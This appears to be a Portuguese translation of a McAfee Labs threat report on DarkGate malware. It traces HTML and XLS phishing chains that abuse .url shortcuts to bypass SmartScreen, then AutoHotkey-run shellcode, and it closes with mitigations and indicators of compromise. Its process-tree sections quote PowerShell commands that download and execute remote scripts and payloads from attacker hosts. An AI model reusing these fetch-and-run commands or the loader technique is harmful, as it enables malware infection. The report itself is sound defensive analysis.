A ameaça Darkgate: aproveitando o Autohotkey e bypass do smartscreen

O McAfee Labs descobriu recentemente uma nova cadeia de infecção associada ao malware DarkGate.

Essa cadeia começa com um ponto de entrada baseado em HTML e progride para explorar o utilitário AutoHotkey em seus estágios subsequentes. DarkGate, um Trojan de acesso remoto (RAT) desenvolvido usando Borland Delphi, tem sido comercializado como uma oferta de Malware como serviço (MaaS) em um fórum de crimes cibernéticos em russo desde pelo menos 2018. Este software malicioso possui uma variedade de funcionalidades , como injeção de processos, download e execução de arquivos, roubo de dados, execução de comandos shell, recursos de keylogging, entre outros. A seguir está a propagação do DarkGate observada em nossa telemetria nos últimos três meses:

Figura 1: Distribuição geográfica do DarkGate

Tentativa do DarkGate de contornar o Defender Smartscreen

Além disso, o DarkGate incorpora inúmeras táticas de evasão para contornar a detecção. O DarkGate contornou notavelmente o Microsoft Defender SmartScreen, levando a Microsoft a lançar posteriormente um patch para resolver esta vulnerabilidade.

No ano anterior, CVE-2023-36025 ( https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) foi identificado e posteriormente corrigido https://msrc.microsoft.com/update-guide/ vulnerabilidade/CVE-2023-36025 . CVE-2023-36025 é uma vulnerabilidade que afeta o Microsoft Windows Defender SmartScreen. Esta falha surge da ausência de verificações adequadas e avisos correspondentes relacionados aos arquivos de atalho da Internet (.url). Os cibercriminosos exploram essa vulnerabilidade criando arquivos .url maliciosos, capazes de baixar e executar scripts prejudiciais, evitando efetivamente os mecanismos de aviso e inspeção do Windows Defender SmartScreen. Este ano, da mesma forma, CVE-2024-21412 ( https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) foi identificado e corrigido. Esta vulnerabilidade é sobre “Vulnerabilidade de desvio de recurso de segurança de arquivos de atalho da Internet”.

Cadeia de infecção

O McAfee Labs identificou dois vetores iniciais distintos que carregam shellcode e carga útil do DarkGate idênticos. O primeiro vetor se origina de um arquivo HTML, enquanto o segundo começa com um arquivo XLS. Iremos nos aprofundar em cada cadeia individualmente para desvendar seus respectivos mecanismos. Abaixo está a cadeia de infecção detalhada para o mesmo:

Figura 2: Cadeia de Infecção

Infecção de HTML:

A cadeia de infecção começa com uma página HTML de phishing disfarçada de documento do Word. Os usuários são solicitados a abrir o documento no “Cloud View” (mostrado na figura abaixo), criando uma isca enganosa para que indivíduos involuntários interajam com conteúdo malicioso.

Figura 3: página HTML

Ao clicar em “Cloud View”, os usuários são solicitados a conceder permissão para abrir o Windows Explorer, facilitando o processo de redirecionamento subsequente.

Figura 4: Solicitação de confirmação do redirecionamento para o Windows Explorer

Ao conceder permissão e abrir o Windows Explorer, os usuários encontram um arquivo representado na interface do Windows Explorer. O título da janela exibe com destaque “\\onedrive.live.com”, adicionando um verniz de legitimidade à suposta experiência “Cloud View”.

Figura 5: Compartilhar atalho de Internet via SMB

Em nossa investigação, procuramos rastrear a origem do esquema de phishing descrito até seu arquivo HTML pai. Após a inspeção, parece que o conteúdo destacado na imagem pode ser uma string codificada no formato Base64 reverso. Essa suspeita surge da presença de uma função JavaScript (mostrada na figura abaixo) projetada para reverter strings, o que sugere uma tentativa de decodificar ou manipular dados codificados.

Figura 6: Javascript em código HTML

Ao reverter e decodificar em base64 o conteúdo destacado em amarelo na Figura 6, encontramos:

Figura 7: Compartilhamento WebDAV

A URL utiliza o protocolo de aplicação “search-ms” para executar uma operação de pesquisa para um arquivo denominado “Report-26-2024.url”. O parâmetro “crumb” é empregado para confinar a busca dentro do contexto do compartilhamento WebDAV malicioso, restringindo seu escopo. Além disso, o elemento “DisplayName” é manipulado para induzir os usuários a acreditarem que o recurso acessado está associado à pasta legítima “onedrive.live.com”, facilitando assim o engano.

Portanto, a presença de “onedrive.live.com” no título da janela do Windows Explorer é uma consequência direta da manipulação enganosa na estrutura do URL.

O arquivo é um arquivo de atalho da Internet (.url), contendo o seguinte conteúdo:

Figura 8: conteúdo do arquivo .URL

Os arquivos .url servem como arquivos de configuração INI simples, normalmente consistindo em um parâmetro “URL=” indicando um URL específico. Em nosso cenário, o parâmetro URL é definido da seguinte forma: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.

Após a execução do arquivo .url, iniciará a execução do arquivo VBScript especificado no parâmetro URL. Este processo permite a execução automática do arquivo VBScript, possibilitando potencialmente a execução de comandos ou ações maliciosas no sistema.

A vulnerabilidade CVE-2023-36025 ( https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) refere-se ao Microsoft Windows Defender SmartScreen que não consegue emitir um prompt de segurança antes de executar um arquivo .url de um não confiável fonte. Os invasores exploram isso construindo um arquivo de atalho do Windows (.url) que evita o prompt de proteção do SmartScreen. Essa evasão é obtida incorporando um arquivo de script como um componente do mecanismo de entrega de carga maliciosa. Embora a Microsoft tenha lançado um patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 para resolver esta vulnerabilidade, ela permanece explorável em versões não corrigidas do Windows.

Se o seu sistema não estiver corrigido e atualizado, você não verá nenhum aviso. No entanto, se o seu sistema estiver atualizado, você encontrará um prompt como:

Figura 9: prompt do SmartScreen

Ao permitir a execução, o arquivo vbs é colocado em C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29. Este arquivo será executado automaticamente na execução do arquivo url e obteremos a seguinte árvore de processos:

Figura 10: Árvore de processos

A seguir estão as linhas de comando:

  • “C:\Windows\System32\WScript.exe” “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”
    • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘withupdate.com/zuyagaoq’)
      • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      • “C:\rjtu\AutoHotkey.exe” C:/rjtu/script.ahk
      • “C:\Windows\system32\attrib.exe” +h C:/rjtu/

A sequência de comandos começa com a execução do arquivo VBScript localizado em “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”. Posteriormente, esse VBScript utiliza o PowerShell para executar um script obtido da URL especificada (‘withupdate.com/zuyagaoq’) por meio do cmdlet Invoke-RestMethod. Ao executar o script baixado, ele passa a comandar e executar o utilitário AutoHotkey, empregando um script localizado no caminho designado (C:/rjtu/script.ahk). Posteriormente, o comando final utiliza a ferramenta attrib para definir o atributo oculto (+h) para o diretório especificado (C:/rjtu/).

A inspeção da URL “withupdate.com/zuyagaoq” permite explicitamente uma compreensão detalhada do fluxo de infecção:

Figura 11: Script Remoto no C2

Este URL leva a um script:
Figura 12: Conteúdo do Script RemotoReformatando, obtemos:

Figura 13: Conteúdo de script remoto

Explicação do roteiro:

  • ni ‘C:/rjtu/’ -Type Directory -Force : Este comando cria um novo diretório chamado “rjtu” na raiz da unidade C, se ainda não existir.
  • cd ‘C:/rjtu/’ : Isso altera o diretório atual para o diretório “rjtu” recém-criado.
  • Invoke-WebRequest -Uri “http://withupdate.com/oudowibspr” -OutFile ‘C:/rjtu/temp_AutoHotkey.exe’ : Este comando baixa um arquivo do URL especificado e o salva como “temp_AutoHotkey.exe” no “ rjtu” diretório.
  • Invoke-WebRequest -Uri “http://withupdate.com/rwlwiwbv” -OutFile ‘C:/rjtu/script.ahk’ : Isso baixa um arquivo chamado “script.ahk” de outro URL especificado e o salva no “rjtu ”diretório.
  • Invoke-WebRequest -Uri “http://withupdate.com/bisglrkb” -OutFile ‘C:/rjtu/test.txt’ : Isso baixa um arquivo chamado “test.txt” de outro URL especificado e o salva no “ rjtu” diretório.
  • start ‘C:/rjtu/AutoHotkey.exe’ -a ‘C:/rjtu/script.ahk’ : Este comando inicia o executável “AutoHotkey.exe” localizado no diretório “rjtu” e passa o arquivo “script.ahk” como um argumento.
  • attrib +h ‘C:/rjtu/’ : Isso define o atributo oculto para o diretório “rjtu”.

Verificando “C:/rjtu”:

Figura 14: Pasta descartada

AutoHotkey é uma linguagem de script que permite aos usuários automatizar tarefas em um computador Windows. Ele pode simular pressionamentos de teclas, movimentos do mouse e manipular janelas e controles. Ao escrever scripts, os usuários podem criar atalhos personalizados, automatizar tarefas repetitivas e aumentar a produtividade.

Para executar um script AutoHotkey, ele é passado como parâmetro para o executável AutoHotkey (autohotkey.exe).

A seguir está o conteúdo do arquivo de script ahk:

Figura 15: Conteúdo do script .ahk

Existem muitos comentários adicionados no script, simplificando o script, obtemos:

Figura 16: script .ahk após remoção de lixo

Este script lê o conteúdo de “test.txt” na memória, aloca uma região de memória no espaço de endereço do processo, grava o conteúdo de “test.txt” como bytes hexadecimais nessa região de memória e, finalmente, executa o conteúdo desse região de memória como uma função. Este script parece estar executando instruções armazenadas em “test.txt”.

Agora, está confirmado que o shellcode reside no conteúdo de “test.txt”. É assim que o text.txt aparece:

Figura 17: Conteúdo de test.txt

Analisamos a memória em uso para Autohotkey.exe.
Figura 18: Memória da instância em execução do AutoHotKey.exeDespejamos a memória associada a ele e descobrimos que era igual ao conteúdo em test.txt.

Figura 19: Despejo de memória da execução de AutoHotKey.exe igual a test.txt

Este é o shellcode presente aqui. Os primeiros 6 bytes são instruções de montagem:Figura 20: Shellcode A no início

Seguindo as instruções de salto de 3bf bytes, chegamos novamente ao mesmo conjunto de instruções:

Figura 21: Mesmo Shellcode A após o salto

Isso significa que outro salto será realizado para mais 3bf bytes:

Figura 22: O mesmo Shellcode A mais uma vez

Encontramos o mesmo conjunto de instruções novamente, dando outro salto para:

Figura 23: Novo Shellcode B encontrado a seguir.

Esses bytes são novamente outro shellcode e a região destacada em amarelo (na figura abaixo) é um arquivo PE. O ponteiro de instrução não está no PE atualmente. Este shellcode precisa ser decodificado primeiro.

Figura 24: Shellcode B seguido pelo arquivo PE destacado

Este shellcode sugere adicionar 71000 ao deslocamento atual e o ponteiro de instrução estará no novo local. O deslocamento atual é B3D, adicionar 71.000 torna 71B3D. Verificando 71B3D, obtemos:

Figura 25: Após a depuração encontrado o próximo Shellcode C

Este é novamente mais um conjunto de instruções em shellcode. Ele tem aproximadamente 4 KB e é anexado no final do arquivo.

Figura 26: Shellcode C direcionando para o ponto de entrada do arquivo PE

Ao depurar este código, descobrimos que na instrução marcada “call eax”, eax tem o endereço do ponto de entrada da carga útil final do DarkGate. Conseqüentemente, esta instrução finalmente move o ponteiro de instrução para o ponto de entrada do arquivo PE. Isso vai para a mesma região marcada em amarelo na Figura 24.

Esta é a carga útil final do DarkGate, que é um arquivo executável compilado em Delphi:

Figura 27: Carga útil do Darkgate.

Após isso, vemos toda a atividade de rede acontecendo no site C2:

Figura 28: Comunicação em Rede

Figura 29: Endereço IP C2

A exfiltração é feita para o endereço IP 5.252.177.207.

Persistência:

Para manter a persistência, um arquivo .lnk é colocado na pasta de inicialização:

Figura 30: Persistência

Conteúdo do arquivo lnk:

Figura 31: Conteúdo de .lnk usado para persistência

O arquivo de atalho (lnk) coloca uma pasta chamada “hakeede” no diretório “C:\ProgramData”.

Figura 32: Pasta colocada em “C:\ProgramData”

Dentro desta pasta, todos os mesmos arquivos estão presentes:

Figura 33: Mesmo conjunto de arquivos presentes na pasta descartada

Novamente, o arquivo ahk é executado com a ajuda de Autohotkey.exe e o shellcode presente em test.txt é executado. Esses arquivos possuem o mesmo valor SHA256, diferindo apenas nos nomes atribuídos.

Infecção por XLS:

O arquivo Excel malicioso pede ao usuário que clique em “Abrir” para visualizar o conteúdo corretamente.

Figura 34: Amostra XLS

Ao clicar no botão “Abrir”, o usuário recebe o seguinte aviso avisando o usuário antes de abrir o arquivo.

Figura 35: Arquivos XLS tentando baixar e executar arquivo VBS

Para nossa análise, permitimos a atividade clicando em “OK”. Seguindo isso, obtivemos a árvore de processos como:

Figura 36: Árvore de processos do arquivo Excel

As linhas de comando são:

  • “C:\Arquivos de programas\Microsoft Office\Root\Office16\EXCEL.EXE” “C:\Users\admin\Documents\Cluster\10-apr-xls\1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4.xlsx”
    • “C:\Windows\System32\WScript.exe” “\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs”
      • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Comando Invoke-Expression (Invoke-RestMethod -Uri ‘103.124.106.237/wctaehcw’)
        • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        • “C:\kady\AutoHotkey.exe” C:/kady/script.ahk
        • “C:\Windows\system32\attrib.exe” +h C:/kady/

O arquivo obtido de “103.124.106[.]237/wctaehcw” tem o seguinte conteúdo:

Figura 37: Script remoto semelhante à cadeia anterior

Deste ponto em diante, o processo de infecção reflete a cadeia discutida anteriormente. Todos os três arquivos, incluindo AutoHotKey.exe, um arquivo de script e um arquivo de texto, são baixados, com artefatos idênticos observados durante todo o processo.

Mitigação:

  • Verifique as informações do remetente
  • Pense antes de clicar em links e avisos
  • Verifique se há erros ortográficos e gramaticais
  • Seja cauteloso com o conteúdo do e-mail
  • Verifique solicitações incomuns
  • Use filtros de spam de e-mail
  • Verifique se há conexões HTTP seguras
  • Excluir e-mails suspeitos
  • Mantenha o Windows e o software de segurança atualizados

Indicadores de Compromisso (IoCs):

ArquivoCerquilha
Arquivo HTML196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
Arquivo URL2b296ffc6d173594bae63d37e2831ba21a59ce385b87503710dc9ca439ed7833
EBF038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907
autohotkey.exe897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
Roteiro AHKdd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455
teste.txt4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795
DarkGate.exe6ed1b68de55791a6534ea96e721ff6a5662f2aefff471929d23638f854a80031
PI5.252.177.207
Arquivo XLS1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4
EBF2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
Arquivo LNK10e362e18c355b9f8db9a0dbbc75cf04649606ef96743c759f03508b514ad34e
PI103.124.106.237

Tabela 1: Tabela do COI